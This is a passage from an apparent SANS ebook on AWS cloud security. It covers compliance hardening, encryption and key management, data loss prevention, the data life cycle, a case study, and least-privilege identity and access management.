credentials changed? The fix: Identity access management is one of the cornerstones of cloud infrastructure. For this reason, Bobby should take advantage of the robust authentication mechanisms put in place and ensure that his team uses unique credentials. Furthermore, he needs to ensure that users have only the privileges required. Defaults Don’t Always Help The Problem: One of the greater areas of risk that incident responders encounter as organizations deploy applications and solutions within the cloud is a reliance on technology defaults. Unfortunately, many applications are designed to be open sourced, hacked together and then secured by the organization itself. Many NoSQL solutions, for example, used to be available with ports open and available to the internet (see Figure 6). In early 2017, this led to a massive global issue of data compromise and NoSQL databases being held for ransom. In Bobby’s Bits, Bobby may not have hired the correct security personnel to help harden the various applications. Furthermore, if Bobby’s development team simply was working on a fix, it may have Figure 5. The development environment has potential data exposure. Automating Compliance and Securing Data and Applications in AWS Figure 6. The use of default settings can put the organization at risk.inadvertently left default ports and/or default accounts open and accessible to the world. The Fix: The fix is twofold. First, Bobby and the development team should work to ensure that the various applications and tools they use are hardened by—you guessed it— compliance standards. This may include enabling encryption, setting up role-based access controls and limiting open ports/network routes to the application. Additionally, with Bobby’s infrastructure being in the cloud, he can resort to automated compliance scanning and verification tools. These scanning and vulnerability assessment tools will be kept up to date by the various vendors and can help ensure that the application is protected against the latest as well as pre-existing threats. Furthermore, because Bobby’s infrastructure is in the cloud, he can schedule scans much more frequently than some organizations like to do at the physical level. 47Summary Many decisions regarding data security and compliance are made utilizing standards set forth to help protect that particular content. Unfortunately, as organizations experience growth and network expansion, they often make decisions that may impact the safety and integrity of the data they store and use. This is not an intentional mistake. Many organizations are growing exponentially and are seeking technology to facilitate that growth. This has driven a lot of organizations to the cloud—all in all, a great thing! The cloud can solve unique challenges of scale and availability—something very crucial to business. However, some organizations are also thinking that because the data is in the cloud, security is no longer their problem. In this paper, we examined the concept of compliance-forward thinking, which asks organizations to consider compliance requirements when they are planning and building infrastructure, instead of afterward. There is a wealth of options within the cloud service space that can assist in automating and monitoring compliance of your organization and/or your customers’ data. As more organizations consider the options that cloud services can bring their business, it is crucial that compliance is at the top of the list of requirements. We have found that by starting the conversation with compliance in mind, what was once a tricky subject has become a guiding light to help organizations make safer decisions about the handling of customer data. A few parting thoughts for organizations that are currently facing these issues head on: • Look for areas within your cloud providers where compliance can be automatically monitored and/or reported on. Furthermore, look for compliant-ready deployments that can help fix requirements head on. • Almost all compliance requirements include basic access rights monitoring, to ensure that employees are not sharing accounts and/or access mechanisms. If you set up individual accounts from the start, this requirement will already be fulfilled. Automating Compliance and Securing Data and Applications in AWS• It is easy to take newer technologies, drop them in place and begin working. But time and time again, we see organizations suffer breaches and noncompliance because of following the defaults. Make sure your team knows how to harden—and maintain—a good state of security within your applications and associated software. About the Author Matt Bromiley is a SANS Digital Forensics and Incident Response instructor, teaching Advanced Digital Forensics, Incident Response, and Threat Hunting (FOR508) and Advanced Network Forensics: Threat Hunting, Analysis, and Incident Response (FOR572), and a GIAC Advisory Board member. He is also a principal incident response consultant at a major incident response and forensic analysis company, combining experience in digital forensics, incident response/triage and log analytics. His skills include disk, database, memory and network forensics, as well as network security monitoring. Matt has worked with clients of all types and sizes, from multinational conglomerates to small, regional shops. He is passionate about learning, teaching and working on open source tools. 49 Chapter 6: How to Build a Data Security Strategy in AWS Automating Compliance and Securing Data and Applications in AWS“It’s clear that more organizations are moving sensitive data into the cloud, but what does this mean for us? Security professionals have enjoyed a wide range of security controls for protecting data on premises, including encryption, access controls, data loss prevention (DLP), classification and life cycle tools, and more. For quite some time, many of these controls weren’t readily available in the cloud, but that time has passed. Today, security teams have a great selection of security tools and controls for all different types of cloud storage and data usage services, as well as lots of ways to monitor data access and use. This chapter outlines the types of controls teams should consider for all aspects of data security in AWS.”Dave Shackleford SANS Senior Instructor & Author Automating Compliance and Securing Data and Applications in AWS50The Importance of Data Security in the Cloud Global organizations are adopting cloud solutions for a variety of compelling reasons, ranging from new business opportunities to reduction in costs to overall improvements in operational efficiency. That makes security in the cloud more important than ever. In the Cloud Security Alliance’s Top Threats to Cloud Computing research from August 2018, organizations ranked data breaches as the top concern for cloud deployments—no different from the major concerns for on-premises assets.1 Naturally, this also means that as part of the shared responsibility model, organizations have the authority to enable controls in the cloud to protect data from exposure and attack. The good news is that more data security controls and products/services are available than ever, and they are more fully mature. In this paper, we break down key controls and considerations for protecting your data in the AWS cloud, including encryption and key management, data loss prevention, classifying and tracking data, and more. The Kinds of Data We’re Putting in the Cloud As organizations put more sensitive data into the cloud, they are increasingly willing to better accommodate critical business needs by allowing such data in public cloud environments. In the most recent SANS cloud security survey, respondents from a variety of organizations worldwide indicated that they were storing business intelligence data (48%), intellectual property (48%), customer personal data (43%) and financial business records (42%), among many other types of data, in cloud environments.2 At the same time, organizations have a need to meet regulations and compliance requirements focused on data security. The same cloud security survey also revealed that, for more than half of respondents (54%), privacy regulations such as the General Data Protection Regulation (GDPR) and the California Consumer Privacy Act (CCPA) have impacted existing or planned cloud strategy, with another 12% unsure of impact. When storing sensitive personal information in the cloud, it is imperative to choose a provider that can facilitate compliance to privacy regulations and has a global presence in the various regions needed 1 “Top Threats to Cloud Computing: Deep Dive,” https://cloudsecurityalliance.org/artifacts/top-threats-to-cloud-computing-deep- dive [Registration required.] 2 “SANS 2019 Cloud Security Survey,” May 2019, www.sans.org/webcasts/state-cloud-security-results-2019-cloud-security- survey-109760 51Critical Aspects of Data Security in the Cloud Mature organizations today need to address many considerations to adequately protect data, and that applies for their cloud deployments. In the cloud, these considerations range from classification to implementation of various controls to governance and process adaptation within cloud engineering and operations teams. Data Classification Policies Identifying standard definitions for data is easy. Putting them into practice and maintaining them is never as simple, but tools are definitely emerging to classify and track data in the cloud. Amazon Macie is a security service that uses machine learning to automatically discover, classify and protect sensitive data in the AWS cloud.3 Amazon Macie can recognize sensitive data patterns such as personally identifiable information (PII) or intellectual property, and provides organizations with dashboards and alerting tools that provide visibility and insight into how this data is being accessed or moved. The service automatically and continuously monitors data access activity for anomalies based on usage profiles (both from individual accounts and metadata from the overall usage patterns of many accounts over time) and generates detailed alerts when potentially illicit access or data leaks are occurring. 3 This paper mentions product names to provide real-life examples of how security tools can be used. The use of these examples is not an endorsement of any product. “As part of the shared responsibility model, organizations have the authority to enable controls in the cloud to protect data from exposure and attack. The good news is that more data security controls and products/services are available than ever.”to support these important regulatory requirements. Over time, it’s likely that more and more region- specific privacy laws and requirements will come about, which will necessitate choosing cloud provider partners that can keep pace with these changing controls and reporting needs. Automating Compliance and Securing Data and Applications in AWS “When storing sensitive personal information in the cloud, it is imperative to choose a provider that can facilitate compliance to privacy regulations and has a global presence in the various regions needed to support these important regulatory requirements.” Any organization planning to store sensitive data in the AWS cloud should strongly consider enabling Amazon Macie to profile and monitor data of specific classification types, and send Macie events to Amazon CloudWatch for even more detailed alerting and automation workflow enablement. And Amazon Macie data, like several other security services’ output, can be sent to a new Amazon service called AWS Security Hub, which can aggregate security details across accounts and report on current security posture in a centralized console. Types of Controls Let’s explore some of the types of controls and focal areas most organizations rely on today for data security in AWS. Encryption Encryption is a major area of interest for cloud implementations, primarily because it offers one of the few true lines of defense when moving resources into outsourced environments. All types of data encryption are encompassed, ranging from data at rest to data in motion and even data in use within applications. Some challenges come along with this, however. For data at rest in the cloud, organizations have several major types of encryption to consider: • File/folder encryption — File and folder encryption relies on applying a policy that dictates what to encrypt and who can access it. 53• Full-disk encryption for cloud workload storage volumes — Full-disk encryption can help solve the problem of data exposure within virtual machines, but key management is a major concern. • Specialized encryption (database, email) — Specific encryption for database columns or tables, as well as email stores, can be implemented in the cloud too. • Cloud-native storage encryption — For specialized storage options like Amazon S3 buckets, encryption is easiest to implement through built-in AWS configuration options that allow for selection of encryption keys and access controls. Each method has its pros and cons, and products and services are available in every category to assist in building a data encryption model that is sustainable and meets all necessary requirements. File and folder encryption products are generally compatible with cloud environments. For example, users with the appropriate rights to perform the encryption operation could easily encrypt files and folders in either a platform-as-a-service (PaaS) or infrastructure-as-a-service (IaaS) implementation. The encryption product would need to be present within the instance, however, and the user profile would need to retain some sort of key accessibility. This can be an issue for PaaS environments in particular, because user and role management systems may rely on vendor-specific APIs or internal systems that do not support the needed encryption key access. This can also be challenging for environments with numerous access types, such as partners, vendors and various internal roles. For most organizations, enabling full-disk volume encryption for workloads in PaaS and IaaS implementations is an easy and relatively low-cost option. While not all of these encryption types truly support master boot record (MBR) encryption or granular recovery options, they really are not intended for this anyway (because these options are usually for mobile devices that could be lost). Instead, volume encryption protects any snapshots or replicas/backups taken automatically, and key management and integration are usually vastly simplified within the native cloud provider environment. In AWS, enabling Amazon Elastic Block Store (EBS) encryption is simple, using either the Amazon EBS customer master keys for the account or unique keys that are either uploaded into the AWS Key Management Service (KMS) or created there by the organization. Implementing the encryption is possible as a default option for all new workloads and storage volumes, or security teams can enable encryption on a volume in the web console in just a few steps. Automating Compliance and Securing Data and Applications in AWSProtecting data in motion is important for the cloud, primarily in two places: • Between the on-premises environment and AWS , where sensitive data may be passing constantly in the case of hybrid architectures or intermittently for other cloud deployments. • Internally within the AWS infrastructure , which would then rely on point-to-point tunnels between workloads, data encryption or both. Amazon makes site-to-site encryption simple with IPSec VPN connectivity to a virtual private gateway (VPG) object within a customer’s virtual private cloud (VPC). For more elaborate infrastructures, especially those with high-speed requirements or multiple inter- and intra-cloud connections, organizations may need customized hardware platforms and even acceleration solutions (available from a number of third-party vendors). Organizations can establish a true point-to-point private connection with the AWS Direct Connect service, too. This service provides a dedicated, guaranteed throughput connection to an on-premises environment, which functionally allows the AWS cloud to become an extension of the organization’s network. One important point is that dedicated point-to-point services for network connectivity, such as AWS Direct Connect, are not natively encrypted—this is a common misconception! To encrypt data for transit across AWS Direct Connect links, organizations need to enable VPN tunnels within them, or perform application- or data-level encryption. Managing, storing and controlling encryption keys are critical factors when using encryption in the cloud. AWS KMS is a managed hardware security module (HSM) service within AWS. It is possible to create keys in a region or import them from in-house key-generation solutions. Numerous AWS services are integrated with AWS KMS, including EC2 and S3. In fact, all major storage types within AWS now support various forms of encryption, all of which can be integrated directly with AWS KMS. Amazon’s KMS also includes an in-depth audit trail with AWS CloudTrail, where all API requests and actions related to AWS KMS and key access are logged securely. “One important point is that dedicated point-to- point services for network connectivity, such as AWS Direct Connect, are not natively encrypted— this is a common misconception!” 55Amazon also has independent management and auditing within AWS, so there is strong and documented separation of duties in place within the environment. Numerous compliance certifications/ assertions are also in place for AWS KMS. For customers that need even more control over keys, AWS CloudHSM is a full HSM that the customer can provision, enabling it to generate and use its encryption keys on a FIPS 140-2 Level 3-validated hardware platform. AWS CloudHSM protects your keys with single-tenant access to tamper-resistant HSM instances in your own VPC. You can configure AWS KMS to use your AWS CloudHSM cluster as a custom key store rather than the default AWS KMS key store, too, integrating the two services for simpler provisioning and use of keys within AWS storage services. Data Loss Prevention Data loss prevention (DLP) has been challenging for many organizations to implement in the cloud, primarily because of a lack of solutions and difficulty integrating with the cloud provider’s APIs. That has significantly changed in the past several years, however. In addition to tools like Amazon Macie as a cloud-native option, quite a few third-party providers have added products and services in the AWS Marketplace to offer network DLP (usually through the implementation of a virtual gateway appliance), as well as host-based DLP agents that can be installed into workloads and images, reporting back to a central monitoring and policy platform also deployed in the cloud environment. Implementing DLP is a subjective decision depending on whether your organization is subject to internal or compliance-related requirements that may necessitate this particular control, but there are products and services that can help you accomplish this if needed. Data Life Cycle Controls The most common data life cycle model has seven phases, as shown in Figure 1. Generation Phase 1 of the data life cycle is data generation. With regard to data generation and instantiation, security teams should focus on the following areas: • Ownership — Who owns and maintains the data that moves to the cloud? This will likely be a business unit or some sort of cooperative effort between business and IT. Data owners have a bad habit of forgetting that they are the data owners (placing this burden on the data custodians), so it’s a good idea to ensure that the actual stakeholders understand the risks and that they sign off on the level of cloud deployment and security controls needed to ensure the data remains safe. Automating Compliance and Securing Data and Applications in AWSFigure 1. Data Life Cycle ModelGENERATION USE TRANSFER TRANSFORMATION STORAGEARCHIVALDESTRUCTION• Classification — What types of data are we tasked with managing? Look at data classification policies and cloud-enabled tools and services to help track and monitor specific data types. • Governance — Who is responsible for the data throughout the entire life cycle? Again, this could be one group or, more likely, a cooperative effort. For security professionals, ensuring data security throughout the entire life cycle (not just when it’s generated) is a top concern Use Data use, the second major phase of the life cycle, involves the following major security concerns: • Data access — Enable data access controls that align with least-privilege business use cases. • Legal acces — Determine whether the data will be accessible to legal counsel (for electronic discovery, for example). It’s a good idea when planning cloud deployments to build a map or breakdown of the data types that will be accessed and used in the cloud, where they will be stored and who will need access to them. This exercise also enables teams to do a much more effective job of creating role and privilege strategies. 57Transfer The third phase of the data life cycle, data transfer, encompasses the movement of data between systems and applications. The fundamental concerns for this phase include: • Public/private networks — What kinds of networks are involved in data transfer (public or private)? For a cloud implementation, a hybrid of internal and external network resources is likely. Anything going across the internet, of course, is a public network. • Encryption — Is the data encrypted during transfer? Data can be encrypted before transit, sent through an IPSec VPN tunnel or both. There are many options to control and encrypt data in transit, whether through using native cloud technologies or third-party tools and vendor products. Many firewalls can now be used to create and terminate VPN tunnels easily, too, so a cloud firewall strategy may be another possibility to help with this. Transformation Data transformation, the fourth stage, is where some sort of processing occurs, typically through the interaction with applications. The following are concerns and considerations during this phase: • Integrity — How will data integrity be maintained in the cloud environment? Data integrity will be handled through SLAs to ensure no corruption or data loss occurs. • Sensitivity — Will the data still be considered PII after modification? This classification largely depends on how the data is being sent to the cloud and processed. At one stage, it may be considered sensitive data, whereas at another it may be obfuscated or not have any recognizable qualities as personal or sensitive data. • Attribution — Will the data be attributable to an individual or organization after transformation? Again, this will depend on the applications in use and the manner of storage. Storage Cloud storage (stage 5) is a concern for obvious reasons. We have covered encryption for data at rest, and this is one way to potentially offset some of the risks of sensitive data stored in a cloud environment. Automating Compliance and Securing Data and Applications in AWSAlong with encryption and access controls, it’s a good idea to check on the SLAs for resilience, availability and processing/transfer, as well as ensure you can export data easily as needed. Archival How is data backed up and archived? What are your data retention requirements for compliance and internal policy? For cloud implementations, consider the following areas during the data archival phase (stage 6): • Legal/compliance concerns — How long must the consumer store the data? For example, log files for PCI DSS compliance must be retained for a year. • Storage types — Different types of storage within AWS may be more suitable for longer- term archival. Amazon Glacier, for example, is an affordable way to perform backups and archive data in the cloud, but performance is more limited. The service has several security measures built in, including IAM-controlled access, automatic AES-256 encryption and TLS- encrypted endpoints for secure transfer (both from the internet and within EC2 workloads). Destruction The last major phase of the life cycle is data destruction. For the cloud, you need to think about: • Getting a certificate of destruction from your cloud provider, if available • Simply encrypting all of your data and then shredding the key as a means of ensuring the data is unrecoverable Data can be recovered from AWS physically, too, by using the Amazon Snowball or Amazon Snowmobile service. Amazon Snowball is a petabyte-scale data transport solution that uses devices designed to be secure to transfer large amounts of data into and out of the AWS cloud. Amazon Snowball devices use tamper-resistant enclosures, 256-bit encryption and an industry-standard Trusted Platform Module (TPM) designed to ensure both security and full chain of custody for data, with all encryption keys stored in AWS KMS. The Amazon Snowmobile service is similar, but it is an exabyte-scale data transfer service used to move extremely large amounts of data to and from AWS via a 45-foot-long, ruggedized shipping container, pulled by a semi-trailer truck. 59User Behavior Analytics + User Activity Monitoring While not specifically a data security control, the need to monitor user access to data has grown exponentially in recent years as a result of account compromise, insider threats and many other attack vectors, all of which necessitate keeping a closer watch on data altogether. Within AWS, enable Amazon GuardDuty to monitor for unusual activity or behavior related to users and workloads. Amazon GuardDuty is a threat detection service that continuously monitors for malicious activity and unauthorized behavior to protect customers’ AWS accounts and workloads. Amazon GuardDuty analyzes billions of events across multiple AWS data sources, such as AWS CloudTrail, Amazon VPC Flow Logs and DNS logs. Differences in Security Controls for Hybrid Architectures A number of data security concepts change in a hybrid architectures model. Some of the following are the most important to consider when building and planning your cloud architecture and operations strategy: • Cloud provider SLAs and data availability/resiliency guarantees are now a part of your shared responsibility strategy. For example, many AWS S3 and S3 Glacier storage types offer 99.999999999% durability of objects over a given year (that’s 11 nines). Most uptime guarantees are 99.5% and above, and service credits may be contractually guaranteed when these are not met. (Be sure to discuss with AWS beforehand and understand all contract terms.) This is a prime example of shifting some of the traditional responsibility of service uptime and integrity to the cloud provider. Being able to share the risk by transferring to the provider some (not all) responsibility for data availability and resiliency can possibly free some operational capacity to implement and maintain additional data security controls. • Secure transport of data is critical across certain data paths. While secure transport of data has always been important, creating a hybrid architecture requires transport of data across the internet, an untrusted network. Fortunately, between dedicated connections like AWS DirectConnect and industry-standard site-to-site encryption with IPSec, secure transfer of data is easy to accomplish in a hybrid architecture. Using third-party encryption gateways or network gateways can also facilitate secure data transfer in a larger deployment. • Use of cloud-native data security controls is likely a requirement. Plenty of data security options are available in the AWS cloud, both from AWS and third parties. However, at least some of the cloud-native controls, such as AWS KMS, are likely needed to facilitate Automating Compliance and Securing Data and Applications in AWSimplementation of encryption easily. Other cloud-native services related to data security may be more affordable and easier to implement in AWS. These include AWS Certificate Manager (ACM) for the creation and life cycle management of digital certificates and AWS Secrets Manager for secure storage of keys and credentials used in provisioning system and data access in workloads, DevOps pipelines and more. • Emphasis on bring your own key (BYOK) and better encryption oversight will be paramount. Today, AWS readily supports import of keys generated on your own premises, which may be a regulatory requirement or internal best practice. Having industry-leading encryption storage available through HSMs may also facilitate better audit controls for keys and key access, as well as key life cycle management. Given the increasing use of encryption as a core data security control in the cloud, flexibility in key generation, storage and life cycle management are need-to-have requirements for more organizations today. • Technology needs to work internally and in the cloud in some cases. When using a hybrid architecture, you will already have some data security controls in place in your internal environment, and for a variety of reasons, you may need or desire to continue using products and services from third-party providers. Fortunately, an increasing number of providers have partnered with AWS through the Marketplace program to offer data security controls that can natively work in AWS alongside your existing implementations. While some of these changes and shifts will be harder to accomplish than others, all are important to consider when building a hybrid architecture. Scaling Your Data Security Strategy to the Cloud When moving to the cloud, or expanding your footprint within AWS, it’s important to know your data and look at tools and tactics to track your data in the cloud. Even if you don’t need full-fledged DLP tools (which are available), monitoring and tracking specific data types and access to these data stores can significantly enhance your data security and privacy strategy altogether. Tools like Amazon Macie can enable this capability for your organization simply and effectively, and you can then build specific monitoring workflows for alerts from this service to detect illicit access or patterns of access that may indicate insider abuse or compromise. Implementing encryption in and to the cloud for transport and storage is a requirement for most organizations today, and the use of encryption will only continue to grow. The earlier you plan to leverage in-cloud tools and services to enable encryption (key creation, storage, access, auditing and 61life cycle management), the more empowered you will be as your cloud deployment expands. AWS KMS, for example, is integrated with all AWS storage models and can be used to store, create, audit and destroy keys. AWS CloudHSM provides an additional layer of security with dedicated hardware that also integrates with AWS KMS if needed. By updating your key creation, import and life cycle policies and processes to incorporate these cloud-native technologies where appropriate, you will be far better prepared to expand encryption use as needed. Ensure you have access controls on data stores and monitoring through audit logs, because all sensitive data access within the cloud environment should be monitored and controlled. Many of the storage types in AWS have access controls that can be enabled, and all data and storage access can be monitored through AWS CloudTrail. Amazon S3, for example, has the following controls related to access control and auditing. Data access: • IAM policies — User-, group- and role-based access control to storage buckets • Bucket policies — Policies applied to a specific S3 bucket and nowhere else • ACLs — Bucket- and data-specific access controls for users/groups • Query string authentication — REST-based access key strings that can be passed to AWS for access control • Access logs: All S3 access and activities can be logged to a separate bucket for collection and analysis. “The earlier you plan to leverage in-cloud tools and services to enable encryption (key creation, storage, access, auditing and life cycle management), the more empowered you will be as your cloud deployment expands.” Automating Compliance and Securing Data and Applications in AWSTwo new features added to Amazon S3 in 2018 are critically important and can enhance S3 deployments’ security posture enormously. First, S3 Block Public Access is a default deny model for an entire account that organizations can turn on to prohibit any S3 bucket from being made public. Amazon S3 Object Lock can turn an S3 bucket into a write-once, ready-many (WORM) system, useful for legal retention of data and evidence in chain-of-custody cases, too. As another example, the Amazon Relational Database Service (RDS) offers the following access security features: • DB Security Groups — Similar to AWS EC2/VPC Security Groups, these are network ingress controls that you can enable by authorizing either IP ranges or existing Security Groups. These allow access only to the database port(s) needed and do not require a restart of the database instances running. • IAM permissions — Can be used to control which Amazon RDS operations each user can call. Security teams should enable a least-privilege access model for all storage services used within the AWS cloud, and also make sure to turn on AWS CloudTrail and any additional logging. Finally, plan for all phases of the data life cycle, from creation through destruction, as well as changes to how data may be handled and controlled over time. In the cloud, there are many more storage and data control options than you likely have accessible in-house, and you can leverage a hybrid data life cycle strategy across them. For example, an organization may store certain sensitive data in Amazon S3 for a year to meet PCI DSS access requirements, but then move the data to Amazon S3 Glacier after a year to save money (where access is slower, but no longer required for compliance). Case Study: Data Security Operations in a Hybrid Architecture Acme Corp. was planning a significant cloud migration to AWS and wanted to ensure that it didn’t skip or fail to implement any important data security controls and processes that could negatively impact compliance. Additionally, Acme viewed a move into AWS as an opportunity to review data security controls and practices at the corporation and hoped to improve its security posture in many ways by taking advantage of many cloud-native options. 63First, Acme reviewed its existing data security and data classification policies to ensure that the language in place accommodated cloud use cases. It determined that it was comfortable moving all but its most critically sensitive data to the cloud to start and that it could revisit this decision periodically after it had things up and running smoothly. Personal data on customers would be migrated, as would some business financial data and human resources databases. To prepare for data security in the AWS environment, the team enabled a BYOK strategy using AWS KMS. Within AWS KMS, Acme chose a default expiration date for keys of six months to start—AWS KMS even generated an automatic Amazon CloudWatch metric that tracks each key’s expiration to alert Acme! The enterprise security operations team that maintains the internal HSM at Acme updated its rotation and key management processes to incorporate the use of AWS KMS, with console and AWS Command Line Interface (CLI) operations documented to create new keys, upload them into AWS and monitor for key life cycle thereafter. The team determined that it did not need to use AWS CloudHSM at the moment, but it decided to revisit that later as well, especially if/when Acme opted to move its most sensitive data into AWS. For compliance and internal requirements, the team decided that it needed to implement a DLP solution in AWS. Acme’s existing in-house provider is an industry leader in the space, and the team preferred to continue using this solution if possible. After investigating options, it found that the third-party solution was available in the AWS Marketplace, and Acme would simply need to license a new virtual image deployed in the cloud. To take advantage of many of the security features in AWS, the team selected Amazon S3 as the main storage location for some of the most sensitive data, primarily to take advantage of Amazon Macie for monitoring and reporting on sensitive data access. The S3 Block Public Access policy was enabled for Acme’s account, and specific access controls were created to enable a least-privilege access model through IAM privileges. Amazon S3 bucket logging was also enabled, and AWS CloudTrail was turned on to further monitor all access to assets in the VPC. The team also enabled Amazon GuardDuty to track account activity and behavior as the number of users and groups using AWS grows. For all EC2 instances, the team enabled default Amazon EBS volume encryption using AWS KMS keys that it had uploaded from Acme. For all RDS databases, column-level encryption was implemented where needed, and Security Groups controlled network access to the databases as well. Automating Compliance and Securing Data and Applications in AWS64All AWS VPC connectivity needed to be secured as well, because Acme chose to implement a hybrid architecture. The team easily accomplished this by setting up an IPSec tunnel between Acme’s on- premises network gateway and the VPG within the VPC. As the environment grows, it’s likely that Acme will implement a DirectConnect pipeline, too, but this will come in the next deployment phase. Summary Securing data in the cloud is easier than ever, largely because of the plethora of cloud-native controls and tools available. For many organizations, it’s just a matter of choosing the right combination of controls and services to meet their business and operating requirements. Encryption, access control and monitoring are all available readily within the AWS cloud. Encryption key storage and life cycle management are easily managed, but they require planning and likely adapting existing processes to use in-cloud platforms like AWS KMS and AWS CloudHSM. Tracking sensitive data access is possible at scale with services like Amazon Macie, and monitoring all user behaviors (for data access and more) is easily done with Amazon GuardDuty. Protecting data at rest, in transit and in use has always been, and will continue to be, a major priority for security teams. In the AWS Cloud, there are numerous ways to accomplish this. About the Author Dave Shackleford, a SANS analyst, senior instructor, course author, GIAC technical director and member of the board of directors for the SANS Technology Institute, is the founder and principal consultant with Voodoo Security. He has consulted with hundreds of organizations in the areas of security, regulatory compliance, and network architecture and engineering. A VMware vExpert, Dave has extensive experience designing and configuring secure virtualized infrastructures. He previously worked as chief security officer for Configuresoft and CTO for the Center for Internet Security. Dave currently helps lead the Atlanta chapter of the Cloud Security Alliance. 65 Automating Compliance and Securing Data and Applications in AWS“Identity and access management (IAM) is one of the lynchpins of a sound cloud security strategy, but many organizations struggle with this complex topic. Creating a sound set of roles and identity policies for both user and service access in AWS is a critical area of focus for security teams, alongside network access control with cloud-native microsegmentation. Rounding out the core pillars of least privilege architecture for AWS is cloud security posture management, helping to ensure the control plane itself is defended. This chapter breaks down all these areas and more, enabling security teams to enable least privilege access models throughout the entire cloud.”Dave Shackleford SANS Senior Instructor & Author Chapter 7: How to Design a Least Privilege Architecture in AWS Automating Compliance and Securing Data and Applications in AWS66Introduction: What Is Least Privilege? On the surface, the concept of least privilege is seemingly obvious: In any given scenario or use case, only allow a user, service, application or system to operate with the bare minimum privilege necessary to successfully accomplish the business goals desired. However, over decades of computing, consistently implementing least privilege as a best practice has been a challenge for a number of reasons, including: • The ability to determine the appropriate “least privilege” for a given use case is a surprisingly complex issue. It’s often challenging for administrators, engineers and developers to plan for and think through the exact set of privileges needed to implement a least privilege access model because of widely differing access needs from different types of users and services. • It is easier to allocate more privileges than to limit access. Security professionals have observed this classic problem in many different scenarios over the years, ranging from data center administration to development and application interactions to end users on their workstations. It’s much more convenient for workers to do whatever they need to when they are assigned extensive privileges. • The range of permissions and privilege models varies widely between environments and applications/services. Because there is little to no commonality across the use cases and technologies we employ from one organization and environment to the next, developing a consistent model of least privilege can be time-consuming. That said, even successful least privilege implementations tend to shift and drift over time without continuous monitoring and oversight. Least Privilege Concepts in the Cloud Security professionals are rethinking the approach to least privilege security concepts for the public cloud. Some key factors to address include: • Vanishing perimeter — The cloud is a cohesive ecosystem that relies on numerous service and application interactions, and the classic idea of the perimeter is changing. 67• Application workloads — Security professionals need a better understanding of application behavior at the workload level. They should be looking at the types of network communication approved applications really should be transmitting. • Trust relationships — The focus should be on trust relationships, system-to-system relationships and service-to-service relationships within all parts of the cloud environment. Most communications in enterprise networks today are either wholly unnecessary or irrelevant to the systems. Pillars of Least Privilege Security teams need strong access controls to effectively secure who can do what and from where. The “who” could be a user or app identity or systems/ subnets within the environment. Many cloud access management strategies are starting to revolve around the idea of least privilege at all layers, which some may call “microsegmentation” or a “zero trust” design. Whatever you choose to call it, the three elements of this strategy, illustrated in Figure 1, are: • Identity and access management (IAM) • Network access and segmentation design • Cloud security posture management Least Privilege Strategy Identity and Access Management Network Access and Segmentation Design Cloud Security Posture Management Figure 1. Least Privilege Pillars Automating Compliance and Securing Data and Applications in AWS “Security teams need strong access controls to effectively secure who can do what and from where.” For many organizations, designing least privilege access controls often encompasses a blend of cloud- native and third-party controls as well. This area is evolving quickly, so security teams should pay careful attention to the market and open source communities too. Although the first two pillars are more critical, all three are needed to enable a comprehensive least privilege strategy. In the coming pages, we explore the three pillars of the least privilege model and look at how they can work together to implement an effective least privilege strategy. Least Privilege Pillar 1: Identity and Access Management Arguably, one of the most important aspects of cloud security is IAM. If you think about it, IAM is a linchpin to controlling most elements of security for who and what can access resources in the cloud. Defining roles, enabling strict access models and limiting the resources available to users and systems is a critical step in enabling a sound cloud security strategy overall. A key element of IAM that security teams need to adapt to is the use of IAM for enveloping assets, allowing them to create least privilege architectures with affinity policies in place. User Relationships IAM users are associated with credentials for making API calls to interact with cloud services and exist only within the cloud environment itself. By linking directory services like Active Directory to the cloud, security teams can leverage existing in-house users and map them to IAM groups and roles, but a standalone user created within the cloud is only useful in the cloud. New IAM users have no permissions (an implicit “Deny All” policy). This is a good thing, because permissions must be explicitly granted. This policy can also help with the common problem of over-allocating privileges to users and groups in the environment. 69IAM users can represent any asset/resource—an IAM user is a simple identity with associated permissions. This means that IAM users can be enabled for application access to Amazon Web Services (AWS)1 resources too, not just as actual interactive user accounts. Once you create service-oriented users, place them in defined groups, if warranted. Security teams can assign permissions and privileges directly to users (not advised) or groups (better to manage and maintain). Service Relationships For service interactions within the environment, however, cloud security teams should focus on defining specific roles. There are four types of roles: • AWS services — This type is for provisioning roles that will be assigned to AWS services like Amazon EC2 and AWS CloudFormation. In other words, what resources can access other resources in AWS, and what actions can they take? This type of role forms the basis for instance profiles, which we cover in a moment. • Cross-account access — Teams can provision access to their AWS infrastructure to other AWS accounts the organization owns or to third-party AWS accounts. • Federation — For federating access with SAML 2.0 to in-house directories, a federation role is available. • Identity providers — These role types work with identity providers (IdPs) for single sign-on (SSO) and federated access to resources. There are three types of IdP roles. The first focuses on web IdPs like Google, Facebook and Amazon Cognito. The second grants web-based SSO to Security Assertion Markup Language (SAML) providers, likely some of the most common for management console access. For direct SSO access to APIs via SAML, a third type of IdP role is available. There are several distinct types of identity-focused least privilege orientation for cloud deployments and infrastructure. First, there should be a focus on any privileged users that need access to the cloud environment for administration, engineering or security-focused tasks. Ideally, even in large organizations, this should be a relatively small number of users that are carefully set up and monitored. The best practice for these users is to federate their internal user accounts directly to an assigned role within the cloud environment that has the fewest privileges assigned. 1 This paper mentions solution names to provide real-life examples of how cloud security tools can be used. The use of these examples is not an endorsement of any solution. Automating Compliance and Securing Data and Applications in AWS70The second major type of least privilege access model that all organizations need to consider is associated with deployment pipelines and associated systems and services. Whether on premises or fully hosted within the cloud environment, deployment pipelines need certain privileges to update workload images and containers, access code repositories, assign metadata tags to resources and monitor performance and security metrics and activities. The third major type of least privilege focus is mapping user, service and application relationships wholly contained within the cloud environment. These might be Amazon EC2 workloads with instance profiles assigned that allow access to other AWS services like Amazon S3 buckets, AWS Lambda functions that need to interact with Amazon CloudWatch logs and database services, or service IAM accounts/groups used to allow access between applications and services in the environment. Finally, privileges should be carefully reviewed for accounts accessing other accounts’ services when a multi-account strategy is in place. Relationship Mapping For all of these different least privilege scenarios, organizations need to successfully map user and service relationships to create the most restrictive privilege models needed. Fortunately, a number of tools are available to accomplish this. During AWS IAM account creation, admins can use the AWS Access Advisor feature. Access Advisor shows AWS services allowed by the assigned IAM policy, policies assigned that grant specific permissions and last access times (if relevant). This information is especially helpful for users that are members of multiple groups with a variety of different policies in place. Many organizations have numerous groups, users and accounts that need to be handled differently, and it can get confusing. With this feature, admins can get a sense of what permissions are being applied, ideally before they are. The AWS Trusted Advisor service also informs account owners of some well-known privilege allocation issues that may be present. “When using a multi-account strategy, review for accounts accessing other accounts’ services.” 71AWS IAM Access Analyzer, a feature within AWS Identity and Access Management (IAM), performs a more thorough analysis of 